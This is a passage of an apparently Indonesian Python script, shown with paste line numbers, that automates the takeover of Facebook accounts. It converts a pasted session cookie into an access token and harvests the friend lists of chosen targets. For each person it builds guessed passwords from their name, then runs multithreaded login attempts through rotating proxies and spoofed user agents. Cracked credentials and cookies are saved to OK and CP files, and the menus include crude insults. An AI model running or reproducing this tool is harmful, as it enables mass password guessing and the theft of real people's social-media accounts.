  288.         for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.004)
  289. def clear():
  290.     os.system('clear')
  291. def back():
  292.     login()
  293. #------------------[ LOGO-LAKNAT ]-----------------#
  294. def banner():
  295.     os.system('clear')
  296.     print(f'''{asu}
  297. ___  ____  _____  _  _  _  _     _  _  ____  
  298. / __)(  _ \(  _  )( )/ )( \/ )___( \/ )(  _ \
  299. \__ \ )___/ )(_)(  )  (  \ /(___))  (  )(_) )
  300. (___/(__)  (_____)(_)\_) (__)    (_/\_)(____/
  301. ''')          
  302. #--------------------[ BAGIAN-MASUK ]--------------#
  303. def login():
  304.     try:
  305.         token = open('.token.txt','r').read()
  306.         cok = open('.cok.txt','r').read()
  307.         tokenku.append(token)
  308.         try:
  309.             sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
  310.             sy2 = json.loads(sy.text)['name']
  311.             sy3 = json.loads(sy.text)['id']
  312.             menu(sy2,sy3)
  313.         except KeyError:
  314.             login_lagi334()
  315.         except requests.exceptions.ConnectionError:
  316.             li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
  317.             lo = mark(li, style='red')
  318.             sol().print(lo, style='cyan')
  319.             exit()
  320.     except IOError:
  321.         login_lagi334()
  322. def login_lagi334():
  323.     try:
  324.         os.system('clear')
  325.         banner()
  326.         print('')
  327.         your_cookies = input(' Masukan Cookie : ')
  328.         with requests.Session() as r:
  329.             try:
  330.                 r.headers.update({'content-type': 'application/x-www-form-urlencoded',})
  331.                 data = {'access_token': '867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01','scope': ''}
  332.                 response = json.loads(r.post('https://graph.facebook.com/v2.6/device/login/', data = data).text)
  333.                 code, user_code = response['code'], response['user_code']
  334.                 verification_url, status_url = ('https://m.facebook.com/device?user_code={}'.format(user_code)), ('https://graph.facebook.com/v2.6/device/login_status?method=post&code={}&access_token=867777633323150|446fdcd4a3704f64e5f6e5fd12d35d01&callback=LeetsharesCallback'.format(code))
  335.                 r.headers.pop('content-type')
  336.                 r.headers.update({'sec-fetch-mode': 'navigate','user-agent': 'Mozilla/5.0 (Linux; Android 9; RMX1941 Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/107.0.5304.54 Mobile Safari/537.36','sec-fetch-site': 'cross-site','Host': 'm.facebook.com','accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-dest': 'document',})
  337.                 response2 = r.get(verification_url, cookies = {'cookie': your_cookies}).text
  338.                 if 'Bagaimana Anda ingin masuk ke Facebook?' in str(response2) or '/login/?next=' in str(response2):
  339.                     print(" ├╴>  Cookie Invalid...", end='\r');time.sleep(3.5);print("                     ", end='\r');exit()
  340.                 else:
  341.                     action = re.search('action="(.*?)">', str(response2)).group(1).replace('amp;', '')
  342.                     fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response2)).group(1)
  343.                     jazoest = re.search('name="jazoest" value="(\d+)"', str(response2)).group(1)
  344.                     data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'qr': 0,'user_code': user_code,}
  345.                     r.headers.update({'origin': 'https://m.facebook.com','referer': verification_url,'content-type': 'application/x-www-form-urlencoded','sec-fetch-site': 'same-origin',})
  346.                     response3 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies})
  347.                     if 'https://m.facebook.com/dialog/oauth/?auth_type=rerequest&redirect_uri=' in str(response3.url):
  348.                         r.headers.pop('content-type');r.headers.pop('origin')
  349.                         response4 = r.post(response3.url, data = data, cookies = {'cookie': your_cookies}).text
  350.                         action = re.search('action="(.*?)"', str(response4)).group(1).replace('amp;', '')
  351.                         fb_dtsg = re.search('name="fb_dtsg" value="(.*?)"', str(response4)).group(1)
  352.                         jazoest = re.search('name="jazoest" value="(\d+)"', str(response4)).group(1)
  353.                         scope = re.search('name="scope" value="(.*?)"', str(response4)).group(1)
  354.                         display = re.search('name="display" value="(.*?)"', str(response4)).group(1)
  355.                         user_code = re.search('name="user_code" value="(.*?)"', str(response4)).group(1)
  356.                         logger_id = re.search('name="logger_id" value="(.*?)"', str(response4)).group(1)
  357.                         auth_type = re.search('name="auth_type" value="(.*?)"', str(response4)).group(1)
  358.                         encrypted_post_body = re.search('name="encrypted_post_body" value="(.*?)"', str(response4)).group(1)
  359.                         return_format = re.search('name="return_format\\[\\]" value="(.*?)"', str(response4)).group(1)
  360.                         r.headers.update({'origin': 'https://m.facebook.com','referer': response3.url,'content-type': 'application/x-www-form-urlencoded',})
  361.                         data = {'fb_dtsg': fb_dtsg,'jazoest': jazoest,'scope': scope,'display': display,'user_code': user_code,'logger_id': logger_id,'auth_type': auth_type,'encrypted_post_body': encrypted_post_body,'return_format[]': return_format,}
  362.                         response5 = r.post('https://m.facebook.com{}'.format(action), data = data, cookies = {'cookie': your_cookies}).text
  363.                         windows_referer = re.search('window.location.href="(.*?)"', str(response5)).group(1).replace('\\', '')
  364.                         r.headers.pop('content-type');r.headers.pop('origin')
  365.                         r.headers.update({'referer': 'https://m.facebook.com/',})
  366.                         response6 = r.get(windows_referer, cookies = {'cookie': your_cookies}).text
  367.                         if 'Sukses!' in str(response6):
  368.                             r.headers.update({'sec-fetch-mode': 'no-cors','referer': 'https://graph.facebook.com/','Host': 'graph.facebook.com','accept': '*/*','sec-fetch-dest': 'script','sec-fetch-site': 'cross-site',})
  369.                             response7 = r.get(status_url, cookies = {'cookie': your_cookies}).text
  370.                             access_token = re.search('"access_token": "(.*?)"', str(response7)).group(1)
  371.                             print(f"\n ├╴>  Token : {access_token}")
  372.                             tokenew = open(".token.txt","w").write(access_token)
  373.                             cook= open(".cok.txt","w").write(your_cookies)
  374.                             print("\n ├╴>  Login Berhasil Jalankan Ulang Perintah Python nya");exit()
  375.             except Exception as e:
  376.                 print(" ├╴>  Cookies Mokad Kontol")
  377.                 os.system('rm -rf .cok.txt && rm -rf .token.txt')
  378.                 print(e)
  379.                 time.sleep(3)
  380.                 back()
  381.     except:pass
  382. #------------------[ BAGIAN-MENU ]----------------#
  383. def menu(my_name,my_id):
  384.     try:
  385.         token = open('.token.txt','r').read()
  386.         cok = open('.cok.txt','r').read()
  387.     except IOError:
  388.         print('[×] Cookies Kadaluarsa ')
  389.         time.sleep(5)
  390.         login_lagi334()
  391.     os.system('clear') 
  392.     banner()
  393.     negara = requests.get("http://ip-api.com/json/").json()["country"]
  394.     ip = requests.get("https://api.ipify.org").text
  395.     print(f'{hijo}')
  396.     print(f'[√] ID Kamu : '+str(my_id))
  397.     print(f'[√] IP Kamu : {ip}')
  398.     print(f'[√] Negara  : {negara}')
  399.     print(f'[√] Status  : 𝔽ℝ𝔼𝔼 𝕎𝔸𝕂🙃  ')
  400.     print(f'{puti}')
  401.     print(f'>>Pilih Menu<< ')
  402.     print('(01) Crack Publik ')
  403.     print('(02) Crack Followers')
  404.     print('(03) Cek Hasil Crack ')
  405.     print('(04) Crack File ')
  406.     print('(05) Keluar  ')
  407.     _____dhanz__kulbet_____ = input('\n└──◕➤ Pilih : ')
  408.     if _____dhanz__kulbet_____ in ['1']:
  409.         dump_massal()
  410.     elif _____dhanz__kulbet_____ in ['2']:
  411.         crack_file()
  412.     elif _____dhanz__kulbet_____ in ['3']:
  413.         result()
  414.     elif _____dhanz__kulbet_____ in ['4']:
  415.         file_cp()
  416.     elif _____dhanz__kulbet_____ in ['0']:
  417.         os.system('rm -rf .token.txt')
  418.         os.system('rm -rf .cookie.txt')
  419.         print('└──◕➤ Sukses Logout+Hapus Kukis ')
  420.         exit()
  421.     else:
  422.         print('└──◕➤ Pilih Yang Bener Asu ')
  423.         back()
  424. def error():
  425.     print(f'{k}└──◕➤ Maaf Fitur Ini Masih Di Perbaiki {x}')
  426.     time.sleep(4)
  427.     back()
  428. #-----------------[ HASIL-CRACK ]-----------------#
  429. def result():
  430.     print(f'>>Hasil Crack<<')
  431.     print(f'[01] Hasil {h}OK{x} Anda ')
  432.     print(f'[02] Hasil {k}CP{x} Anda ')
  433.     print(f'[03] Kembali    ')
  434.     kz = input(f'\n└─ ➤ Pilih : ')
  435.     if kz in ['2']:
  436.         try:vin = os.listdir('CP')
  437.         except FileNotFoundError:
  438.             print('└─ ➤ File Tidak Di Temukan ')
  439.             time.sleep(3)
  440.             back()
  441.         if len(vin)==0:
  442.             print('└──◕➤ Anda Tidak Memiliki Hasil CP ')
  443.             time.sleep(2)
  444.             back()
  445.         else:
  446.             cih = 0
  447.             lol = {}
  448.             for isi in vin:
  449.                 try:hem = open('CP/'+isi,'r').readlines()
  450.                 except:continue
  451.                 cih+=1
  452.                 if cih<10:
  453.                     nom = ''+str(cih)
  454.                     lol.update({str(cih):str(isi)})
  455.                     lol.update({nom:str(isi)})
  456.                     print(f'☞ %s. %s ({k} %s {x}Idz )'%(nom,isi,len(hem)))
  457.                 else:
  458.                     lol.update({str(cih):str(isi)})
  459.                     print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  460.             geeh = input('[*] Pilih : ')
  461.             try:geh = lol[geeh]
  462.             except KeyError:
  463.                 print('└──◕➤ Pilih Yang Bener Kontol ')
  464.                 back()
  465.             try:lin = open('CP/'+geh,'r').read().splitlines()
  466.             except:
  467.                 print('└──◕➤ File Tidak Di Temukan ')
  468.                 time.sleep(2)
  469.                 back()
  470.             nocp=0
  471.             for cpku in range(len(lin)):
  472.                 cpkuni=lin[nocp].split('|')
  473.                 print(f'{x}└──◕➤ {k}{cpkuni[0]}|{cpkuni[1]}')
  474.                 nocp +=1
  475.             print('')
  476.             input(f'{x}[{m} Klik Enter{x} ]')
  477.             back()
  478.     elif kz in ['1']:
  479.         try:vin = os.listdir('OK')
  480.         except FileNotFoundError:
  481.             print('└──◕➤ File Tidak Di Temukan ')
  482.             time.sleep(2)
  483.             back()
  484.         if len(vin)==0:
  485.             print('└──◕➤ Anda Tidak Mempunyai File OK ')
  486.             time.sleep(2)
  487.             back()
  488.         else:
  489.             cih = 0
  490.             lol = {}
  491.             for isi in vin:
  492.                 try:hem = open('OK/'+isi,'r').readlines()
  493.                 except:continue
  494.                 cih+=1
  495.                 if cih<10:
  496.                     nom = '0'+str(cih)
  497.                     lol.update({str(cih):str(isi)})
  498.                     lol.update({nom:str(isi)})
  499.                     print(f'☞ %s. %s ( {h}%s{x} Idz )'%(nom,isi,len(hem)))
  500.                 else:
  501.                     lol.update({str(cih):str(isi)})
  502.                     print(f'☞ %s. %s ({h} %s {x}Idz )'%(cih,isi,(len(hem))))
  503.             geeh = input(f'\n└──◕➤ Pilih : ')
  504.             try:geh = lol[geeh]
  505.             except KeyError:
  506.                 print('└──◕➤ Pilih Yang Bener Kontol ')
  507.                 back()
  508.             try:lin = open('OK/'+geh,'r').read().splitlines()
  509.             except:
  510.                 print('└──◕➤ File Tidak Di Temukan ')
  511.                 time.sleep(2)
  512.                 back()
  513.             nocp=0
  514.             for cpku in range(len(lin)):
  515.                 cpkuni=lin[nocp].split('|')
  516.                 print('')
  517.                 print(f'{x}☞ {h}{cpkuni[0]}|{cpkuni[1]}|{cpkuni[2]}')
  518.                 nocp +=1
  519.             print('')
  520.             input(f'{x}[{m} Klik Enter{x} ]')
  521.             back()
  522.     elif kz in ['3']:
  523.         back()
  524.     else:
  525.         print('└──◕➤ Pilih Yang Bener Kontol ')
  526.         back()
  527. #-------------------[ CRACK-PUBLIK ]----------------#
  528. def dump_massal():
  529.     try:
  530.         token = open('.token.txt','r').read()
  531.         cok = open('.cok.txt','r').read()
  532.     except IOError:
  533.         exit()
  534.     try:
  535.         jum = int(input('└──◕➤ Mau Berapa Target ? : '))
  536.     except ValueError:
  537.         print('└──◕➤ Masukkan Angka Anjing, Malah Huruff 🗿')
  538.         exit()
  539.     if jum<1 or jum>100:
  540.         print('└──◕➤ Gagal Dump Idz ')
  541.         exit()
  542.     ses=requests.Session()
  543.     yz = 0
  544.     for met in range(jum):
  545.         yz+=1
  546.         kl = input('└──◕➤ Masukkan Idz Yang Ke '+str(yz)+' : ')
  547.         uid.append(kl)
  548.     for userr in uid:
  549.         try:
  550.             col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
  551.             for mi in col['friends']['data']:
  552.                 try:
  553.                     iso = (mi['id']+'|'+mi['name'])
  554.                     if iso in id:pass
  555.                     else:id.append(iso)
  556.                 except:continue
  557.         except (KeyError,IOError):
  558.             pass
  559.         except requests.exceptions.ConnectionError:
  560.             print('☞ Sinyal Loh Kek Kontoll ')
  561.             exit()
  562.     try:
  563.         print(f'└──◕➤ Total Idz Yang Terkumpul : ☜{h}'+str(len(id)))
  564.         setting()
  565.     except requests.exceptions.ConnectionError:
  566.         print(f'{x}')
  567.         print('└──◕➤ Sinyal Lo kek Kontol ')
  568.         back()
  569.     except (KeyError,IOError):
  570.         print(f'└──◕➤{k} Pertemanan Tidak Public {x}')
  571.         time.sleep(3)
  572.         back()
  573. #-------------[ CRACK-FROM-FILE ]------------------#
  574. def crack_file():
  575.     try:vin = os.listdir('/sdcard/Dhanz-DUMP')
  576.     except FileNotFoundError:
  577.         print('└──◕➤ File Tidak Ditemukan ')
  578.         time.sleep(2)
  579.         back()
  580.     if len(vin)==0:
  581.         print('')
  582.         cetak(nel('[white][[cyan]•[white]] Jika Ingin Menggunakan Fitur Ini Ikuti Syaratnya Dibawah Ini\n[[green]1[white]] Buatlah File Dump Id Terlebih dahulu\n[[green]2[white]] Setelah Jadi Masukkan Filenya Kedalam Folder[yellow] KALL-DUMP[white] di Penyimpanan Internal Kalian\n[[green]3[white]] Lalu Jalankan Ulang Scriptnya! Baru Pilih Fitur Nomor[yellow] 4 [white]ini '))
  583.         kontol = input('\n☞ Apakah Anda Faham ( Y/t ) ')
  584.         if kontol in ['']:
  585.             print('└──◕➤Pilih Yang Bener Asuhh ')
  586.         elif kontol in ['y','Y']:
  587.             print(f'\n[{h}√{x}] Alhamdulillah Anda Sungguh Pintarr ')
  588.             time.sleep(3)
  589.             back()
  590.         elif kontol in ['t','T']:
  591.             print(f'\n[{k}x{x}] Anda Sungguh Tolol ')
  592.             time.sleep(3)
  593.             exit()
  594.         print('└──◕➤ Anda Tidak Memiliki File Dump ')
  595.         time.sleep(2)
  596.         back()
  597.     else:
  598.         cih = 0
  599.         lol = {}
  600.         for isi in vin:
  601.             try:hem = open('/sdcard/KALL-DUMP/'+isi,'r').readlines()
  602.             except:continue
  603.             cih+=1
  604.             if cih<100:
  605.                 nom = ''+str(cih)
  606.                 lol.update({str(cih):str(isi)})
  607.                 lol.update({nom:str(isi)})
  608.                 print(f'└──◕➤ %s. %s ({h} %s{x} idz )'%(nom,isi,len(hem)))
  609.             else:
  610.                 lol.update({str(cih):str(isi)})
  611.                 print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
  612.                 print('└──◕➤ %s. %s ({h} %s {x}idz) '%(cih,isi,len(hem)))
  613.         geeh = input('\n└──◕➤ Pilih : ')
  614.         try:geh = lol[geeh]
  615.         except KeyError:
  616.             print(f'{k}☞ Pilih Yang Bener Kontol {x}')
  617.             time.sleep(3)
  618.             back()
  619.         try:lin = open('/sdcard/KALL-DUMP/'+geh,'r').read().splitlines()
  620.         except:
  621.             print('└──◕➤ File Tidak Ditemukan, Coba Lagi Nanti ')
  622.             time.sleep(2)
  623.             back()
  624.         for xid in lin:
  625.             id.append(xid)
  626.         setting()
  627. #-------------[ PENGATURAN-IDZ ]---------------#
  628. def setting():
  629.     print(f'{puti}')
  630.     print(f'>>Setting Urutan Idz<<')
  631.     print('(01) Akun Tua (Not Recomend) ')
  632.     print('(02) Akun Muda (Lumayan) ')
  633.     print('(03) Random (Recomend) ')
  634.     print('')
  635.     hu = input('└──◕➤ Pilih : ')
  636.     if hu in ['1','01']:
  637.         for tua in sorted(id):
  638.             id2.append(tua)
  639.  
  640.     elif hu in ['2','02']:
  641.         muda=[]
  642.         for bacot in sorted(id):
  643.             muda.append(bacot)
  644.         bcm=len(muda)
  645.         bcmi=(bcm-1)
  646.         for xmud in range(bcm):
  647.             id2.append(muda[bcmi])
  648.             bcmi -=1
  649.     elif hu in ['3','03']:
  650.         for bacot in id:
  651.             xx = random.randint(0,len(id2))
  652.             id2.insert(xx,bacot)
  653.     else:
  654.         print('└──◕➤ Pilih Yang Bener Kontooll ')
  655.         exit()
  656.     print(f'>>Pilih Metode<<')
  657.     print(' (01) Validate ')
  658.     print(' (02) Reguler ')
  659.     print(' (03) Asyinc ')
  660.     print('')
  661.     hc = input('└──◕➤ Pilih : ')
  662.     if hc in ['1','01']:
  663.         method.append('validate1')
  664.     elif hc in ['']:
  665.         print('')
  666.         print('└──◕➤ Pilih Yang Bener Kontol ')
  667.         setting()
  668.     elif hc in ['2','02']:
  669.         method.append('reguler1')
  670.     elif hc in ['3','03']:
  671.         method.append('asyinc')
  672.     else:
  673.         method.append('validate1')
  674.        
  675.         cetak(nel(f' [bold white]Apakah Ingin Menampilkan Aplikasi Yang Terkait didalamnya? y/t',width=60,title=f"[bold yellow]Cek Aplikasi",style=f"bold red"))
  676.     _brayen_ = input('└──◕➤ Pilih : ')
  677.     if _brayen_ in ['']:
  678.         print('└──◕➤ Pilih Yang Bener Kontol ')
  679.         back()
  680.     elif _brayen_ in ['y','Y']:
  681.         taplikasi.append('ya')
  682.     else:
  683.         taplikasi.append('no')
  684.         cetak(nel(f' [bold white]Apakah Ingin Menggunakan User Ugent Manual Untuk Crack Account? y/t',width=60,title=f"[bold green]Setting User Ugent",style=f"bold red"))
  685.     uatambah = input(f'└──◕➤ 𝕻𝖎𝖑𝖎𝖍 : ')
  686.     if uatambah in ['y','Ya','ya','Y']:
  687.         ualuh.append('ya')
  688.         bzer = input(f'└──◕➤ Masukan User Ugent : ')
  689.         ualu.append(bzer)
  690.     else:
  691.         ualuh.append('tidak')
  692.     passwrd()
  693. #-------------------[ BAGIAN-WORDLIST ]------------#
  694. def passwrd():
  695.     print("")
  696.     print(f'')
  697.     print(f'[*] Hasil {h}OK{x} Tersimpan Di : {h}OK/%s {x}'%(okc))
  698.     print(f'[*] Hasil {k}CP{x} Tersimpan Di : {k}CP/%s {x}'%(cpc))
  699.     print('')
  700.     print(f'└─ ➤ ON/OFF Mode Pesawat Setiap 500 Idz')
  701.     print("")
  702.     with tred(max_workers=30) as pool:
  703.         for yuzong in id2:
  704.             idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
  705.             frs = nmf.split(' ')[0]
  706.             pwv = []
  707.             if len(nmf)<6:
  708.                 if len(frs)<3:
  709.                     pass
  710.                 else:
  711.                     pwv.append(frs+'01')
  712.                     pwv.append(frs+'02')
  713.                     pwv.append(frs+'12')
  714.                     pwv.append(frs+'123')
  715.                     pwv.append(frs+'1234')
  716.                     pwv.append(frs+'12345')
  717.                     pwv.append(frs+'321')
  718.             else:
  719.                 if len(frs)<3:
  720.                     pwv.append(nmf)
  721.                 else:
  722.                     pwv.append(nmf)
  723.                     pwv.append(frs+'01')
  724.                     pwv.append(frs+'12')
  725.                     pwv.append(frs+'123')
  726.                     pwv.append(frs+'1234')
  727.                     pwv.append(frs+'12345')
  728.                     pwv.append(frs+'321')
  729.             if 'ya' in pwpluss:
  730.                 for xpwd in pwnya:
  731.                     pwv.append(xpwd)
  732.             else:pass
  733.             if 'validate1' in method:
  734.                 pool.submit(validate1,idf,pwv)
  735.             elif 'reguler1' in method:
  736.                 pool.submit(reguler1,idf,pwv)
  737.             elif 'asyinc' in method:
  738.                 pool.submit(asyinc,idf,pwv)
  739.             else:
  740.                 pool.submit(validate1,idf,pwv)
  741.     print('')
  742.     cetak(nel('\t[blue] ☞[green] Crack Selesay , Hasil Hari Ini [blue] ☜ [white] '))
  743.     print(f'[{b}•{x}]{h} OK : {h}%s '%(ok))
  744.     print(f'{x}[{b}•{x}]{k} CP : {k}%s{x} '%(cp))
  745.     print('└─ ➤ Lanjut Crack Kembali ( Y/t ) ? ')
  746.     woi = input('☞ Pilih : ')
  747.     if woi in ['y','Y']:
  748.         back()
  749.     else:
  750.         print(f'\t{x}☞{b} Nikmati Hasilnya Jangan Lupa Bersyukur Ngab{x} ☜ ')
  751.         time.sleep(2)
  752.         exit()
  753. #--------------------[ METODE VALIDATE ]-----------------#
  754. def validate1(idf,pwv):
  755.     global loop,ok,cp
  756.     bo = random.choice([m,k,h,b,u,x])
  757.     ua = random.choice(ugen)
  758.     ua2 = random.choice(ugen2)
  759.     ses = requests.Session()
  760.     prog.update(des,description=f"{h} 𝕾𝖕𝖔𝖐𝖞404 😈 {x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold red]{cp}[/]")
  761.     prog.advance(des)
  762.     for pw in pwv:
  763.         try:
  764.             if 'ya' in ualuh: ua = ualu[0]
  765.             nip=random.choice(prox)
  766.             proxs= {'http': 'socks4://'+nip}
  767.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  768.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv3.3%2Fdialog%2Foauth%3Fclient_id%3D630498417018811%26redirect_uri%3Dhttps%253A%252F%252Fm.webtoons.com%252Foauth%252FfacebookCallback%26display%3Dpage%26scope%3Dpublic_profile%26state%3DO_iC009zvqUdI2kd%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D9d0dd006-ce43-49c3-bc35-26ef7ba52b4f%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.webtoons.com%2Foauth%2FfacebookCallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DO_iC009zvqUdI2kd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  769.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/login.php?skip_api_login=1&api_key=630498417018811&kid_directed_site=0&app_id=630498417018811&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv3.3%2Fdialog%2Foauth%3Fclient_id%3D630498417018811%26redirect_uri%3Dhttps%253A%252F%252Fm.webtoons.com%252Foauth%252FfacebookCallback%26display%3Dpage%26scope%3Dpublic_profile%26state%3DO_iC009zvqUdI2kd%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D9d0dd006-ce43-49c3-bc35-26ef7ba52b4f%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.webtoons.com%2Foauth%2FfacebookCallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DO_iC009zvqUdI2kd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
  770.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  771.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  772.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv3.3%2Fdialog%2Foauth%3Fclient_id%3D630498417018811%26redirect_uri%3Dhttps%253A%252F%252Fm.webtoons.com%252Foauth%252FfacebookCallback%26display%3Dpage%26scope%3Dpublic_profile%26state%3DO_iC009zvqUdI2kd%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D9d0dd006-ce43-49c3-bc35-26ef7ba52b4f%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.webtoons.com%2Foauth%2FfacebookCallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DO_iC009zvqUdI2kd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  773.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  774.             if "checkpoint" in po.cookies.get_dict().keys():
  775.                 print(f'\r{K}[*] ID :  {idf} [*] PASSWORD : {pw}{N}')    
  776.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  777.                 akun.append(idf+'|'+pw)
  778.                 ceker(idf,pw)
  779.                 cp+=1
  780.                 break
  781.             elif "c_user" in ses.cookies.get_dict().keys():
  782.                 ok+=1
  783.                 coki=po.cookies.get_dict()
  784.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  785.                 kukis = kuki.replace(f'c_user={idf};datr','sb')
  786.                 print(f'\r{H}[*] ID : {idf} [*] PASSWORD : {pw} [*] COKIES: {kukis}\n UGENT : {ua}{N}')
  787.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  788.                 cek_apk(kukis)
  789.                 break
  790.                
  791.             else:
  792.                 continue
  793.         except requests.exceptions.ConnectionError:
  794.             time.sleep(31)
  795.     loop+=1
  796.  
  797. def ceker(idf,pw):
  798.     global cp
  799.     ua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54'
  800.     head = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
  801.     ses = requests.Session()
  802.     try:
  803.         hi = ses.get('https://mbasic.facebook.com')
  804.         ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':idf,'pass':pw,'login':'submit'}, headers=head, allow_redirects=True).text,'html.parser')
  805.         jo = ho.find('form')
  806.         data = {}
  807.         lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
  808.         for anj in jo('input'):
  809.             if anj.get('name') in lion:
  810.                 data.update({anj.get('name'):anj.get('value')})
  811.         kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=head).text,'html.parser')
  812.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  813.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  814.         cp+=1
  815.         opsi = kent.find_all('option')
  816.         if len(opsi)==0:
  817.             print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
  818.         else:
  819.             for opsii in opsi:
  820.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  821.     except Exception as c:
  822.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  823.         print('\r%s---> Tidak Dapat Mengecek Opsi (Cek Login Di Lite/Mbasic)%s'%(u,x))
  824.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  825.         cp+=1
  826.        
  827. #--------------------[ METODE REGULER ]-----------------#
  828. def reguler1(idf,pwv):
  829.     global loop,ok,cp
  830.     bo = random.choice([m,k,h,b,u,x])
  831.     ua = random.choice(ugen)
  832.     ua2 = random.choice(ugen2)
  833.     ses = requests.Session()
  834.     prog.update(des,description=f"{h} 𝕾𝖕𝖔𝖐𝖞404 😈 {x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold red]{cp}[/]")
  835.     prog.advance(des)
  836.     for pw in pwv:
  837.         try:
  838.             if 'ya' in ualuh: ua = ualu[0]
  839.             nip=random.choice(prox)
  840.             proxs= {'http': 'socks4://'+nip}
